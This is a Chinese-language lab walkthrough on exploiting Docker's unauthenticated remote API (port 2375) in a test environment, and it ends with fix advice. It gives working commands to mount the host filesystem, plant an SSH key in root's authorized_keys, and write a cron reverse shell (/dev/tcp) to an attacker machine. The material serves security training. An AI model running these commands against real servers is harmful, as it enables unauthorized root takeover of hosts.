Docker未授权访问漏洞(www.hetianlab.com)

2023-11-18

什么是Docker

Docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署,包括VMs(虚拟机)、bare metal、OpenStack 集群和其他的基础应用平台。

Docker未授权访问漏洞

产生原因

如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者就可以通过Docker未授权来控制服务器。

漏洞影响

攻击者利用 docker-client 或者 http 直接请求就可以访问这个API,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

本实验通过两种方法来介绍如何通过docker未授权获取宿主机的权限:
1.利用挂载目录的方式写ssh公钥getshell
2.利用写定时任务反弹shell。

实验环境

目标机器: CentOS7+Docker IP:10.1.1.200

攻击机器:Kali+Docker IP:10.1.1.100

信息收集

进行信息收集,寻找可能利用的点

  1. 通过nmap对目标进行信息收集,发现如下端口开放:
    在这里插入图片描述

22端口:ssh默认端口

2375端口:docker远程操控(通过这个端口对远程docker deaom进行操作)

  1. 已知目标开放2375端口,通过浏览器进行访问,如果页面显示message “page not found” 代表存在漏洞。
    在这里插入图片描述

  2. 如若页面空白显示。
    (1)可以通过info获取docker信息。

10.1.1.200:2375/info

在这里插入图片描述

(2)可以通过images/json获取列表。

10.1.1.200:2375/images/json

在这里插入图片描述

Docker未授权访问漏洞利用

使用Docker命令进行连接。

1.通过docker client使用-H参数连接目标主机的docker,并使用ps -a命令查询目标系统运行的所有容器,使用images命令查询目标系统的所有镜像。

docker -H tcp://10.1.1.200 ps -a    #列出所有容器

在这里插入图片描述

docker -H tcp://10.1.1.200 images    #列出所有镜像

在这里插入图片描述

进入容器

方法一:

(1)首先docker client连接目标,ps -a 查看哪些容器已经停止:
在这里插入图片描述

(2)通过start命令启动一个已经停止的容器:
在这里插入图片描述

(3)attach命令连接一个已经启动的容器:
在这里插入图片描述

这样就获得一个docker容器的shell。

方法二:

新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)

docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像id)

在这里插入图片描述注意:docker run只在第一次运行时使用,将镜像放到容器中,以后再次启动这个容器时,只需要使用命令docker start 即可。

dockerrun相当于执行了两步操作:将镜像放入容器中(docker create),然后将容器启动(docker start)。

Docker未授权写入ssh公钥获得shell

原理:启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。

  1. 首先kali生成id_rsa公钥:
ssh-keygen -t rsa

在这里插入图片描述

  1. 查看下生成的公钥:
    生成的公钥在/root/.ssh/ 目录下。
cat /root/.ssh/id_rsa.pub

在这里插入图片描述

  1. 将生成公钥写入到目标/root/.ssh/authorized_keys文件中:
docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba

在这里插入图片描述在这里插入图片描述>这个代表的意思为覆盖,>>代表为追加

此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh

  1. 写入后即可通过ssh进行连接,获取宿主机的shell:

在这里插入图片描述

Docker未授权写定时任务获得shell

原理:启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)中,攻击机nc -lvvp port会得到一个反弹的shell。

  1. kali开启监听。
    在这里插入图片描述

  2. 写入反弹shell的脚本。

echo "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" > /mnt/var/spool/cron/root

在这里插入图片描述

*****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1212 0>&1

  1. 获得目标shell
    在这里插入图片描述

修复建议

  1. 设置ACL,只允许信任ip连接对应端口;
  2. 开启TLS,使用生成的证书进行认证:
https://docs.docker.com/engine/security/protect-access/
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Docker未授权访问漏洞(www.hetianlab.com) 的相关文章

随机推荐

  • springboot参数配置

    全局配置文件 application properties 配置文件 先准备两个pojo实体类Pet和Person Component 用于将Person类作为Bean注入到spring容器中 ConfigurationProperties
  • 【js小游戏&案例】纯前端实现飞机大战,附带源码

    技能 使用html js css实现飞机大战小游戏 需求 我军飞机左右移动 并且按空格 可以发射炮弹 敌方飞机从上往下飞 接触到我方炮弹 飞机被歼灭 我军接触到敌军飞机也将会被歼灭 我方飞机吃到道具可以增加弹道 思路 初始化 初始创建我方飞
  • enum一个最不像class的class

    enum一个最不像class的classjava枚举类型是jdk5出现的 它的出现主要为了解决一些有特殊意义 已经确定的 长度不会改变的集合 月份描述 public class Month 月份名称 private final String
  • SpringMVC之JSR303使用及拦截器使用(带你探索SpringMVC的新领域)

    目录 前言 一 探索JSR303的世界 1 JSR303简介 1 1 什么是JSR303 1 2 JSR303的重要性及使用原因 重要性 原因 1 3 JSR303的常用注解 扩展 2 JSR303快速入门 基本使用 2 1 导入依赖 2
  • 【算法】直接插入排序C语言实现

    不知道大家喜不喜欢打扑克 哈哈 我就挺喜欢的 尤其是三人斗地主 很喜欢 现在我来描述一幅画面看看大家熟不熟悉 我抓牌的习惯是 在抓牌的时候 我要看着我的牌 看看牌的状况 有没有大小鬼 有几个2 有没有长的连 顺便做好基本的排序工作 比如我第
  • http 请求报文响应报文的格式以及Token cookie session 区别

    面试必备 http 请求报文响应报文的格式 Token cookie session 区别 http 请求报文响应报文的格式 HTTP 请求报文和响应报文的格式如下 HTTP 请求报文格式 lt 方法 gt lt 路径 gt lt 协议版本
  • RabbitMQ --- SpringAMQP

    一 简介 SpringAMQP是基于RabbitMQ封装的一套模板 并且还利用SpringBoot对其实现了自动装配 使用起来非常方便 SpringAmqp的官方地址 Spring AMQP SpringAMQP提供了三个功能 自动声明队列
  • gitlab down: redis: 0s, normally up, want up; run:log

    突然发现gitlab不能访问了 报错505 1 查看gitlab的状态 发现redis的状态是down gitlab ctl status down redis 0s normally up want up run log 解决 启动red
  • matlab中global的用法

    Matlab 中子函数不传参直接调用主函数global变量方法 在一个m文件里要调用一个函数 自定义的 但是我希望这个函数能利用并修改workspace中的变量 m文件中的 可是函数的变量全是局部的 无法修改工作区的变量 该怎么办 同时在
  • KMP算法最浅显理解——一看就明白

    说明 KMP算法看懂了觉得特别简单 思路很简单 看不懂之前 查各种资料 看的稀里糊涂 即使网上最简单的解释 依然看的稀里糊涂 我花了半天时间 争取用最短的篇幅大致搞明白这玩意到底是啥 这里不扯概念 只讲算法过程和代码理解 KMP算法求解什么
  • Artec独立三维(3D)扫描软件

    最新版本 Artec Studio 9 1 中文界面 您是否想将自己的Kinect作为 3D 三维扫描仪来使用呢 ArtecStudio9 1为您提供解决方案 它可以和微软的Kinect 华硕的 Xtion XtionProLive以及其他
  • Uncaught SyntaxError: Unexpected end of input

    Uncaught SyntaxError Unexpected end of input 最近做项目遇到这样一个问题Uncaught SyntaxError Unexpected end of input Unexpected end of
  • mysql有没有flashback_Flashback for MySQL 5.7

    实现原理 flashback的概念最早出现于Oracle数据库 用于快速恢复用户的误操作 flashback for MySQL用于恢复由DML语句引起的误操作 目前不支持DDL语句 例如下面的语句 DELETE FROM XXX UPDA
  • xsync 集群同步工具

    前言 在配置集群时 往往需要将文件拷贝到各个机器 一来二去就很麻烦 我们可以使用 xsync 工具同时进行多台机器同步数据 环境准备 我们准备三台虚拟机 他们的 IP 分别为 192 168 56 2 192 168 56 3 192 16
  • python 日期和时间处理(time,datetime模块讲解)

    在现实生活中 我们常常遇到时间序列任务 所以今天讲解下日期和时间处理 Python 日期时间 datetime 1 获取当前时间 import datetime datetime object datetime datetime now p
  • 颜色的 HSL 表示

  • 【vue】图片加载动画效果

    加载后 一种是图片由浅到深 一种是闪光加载效果消失
  • tmux使用

    tmux使用 需求 ssh链接不稳定 若直接在ssh终端中运行某个长时间的程序 会被中断 使用tmux 即使ssh服务中断 tmux中的程序依旧运行着 常用命令汇总 开启一个tmux页面 tmux 开启一个tmux页面 自定义名字 tmux
  • Flutter Divider

    不设置高度 会在线的top和bottom占据一点空间 Divider thickness 1 h color Color 0xFF3D3D3E 设置height之后就正常了 上下没有间距了 Divider thickness 1 h hei
  • Docker未授权访问漏洞(www.hetianlab.com)

    什么是Docker Docker是一个开源的引擎 可以轻松的为任何应用创建一个轻量级的 可移植的 自给自足的容器 开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署 包括VMs 虚拟机 bare metal OpenStack 集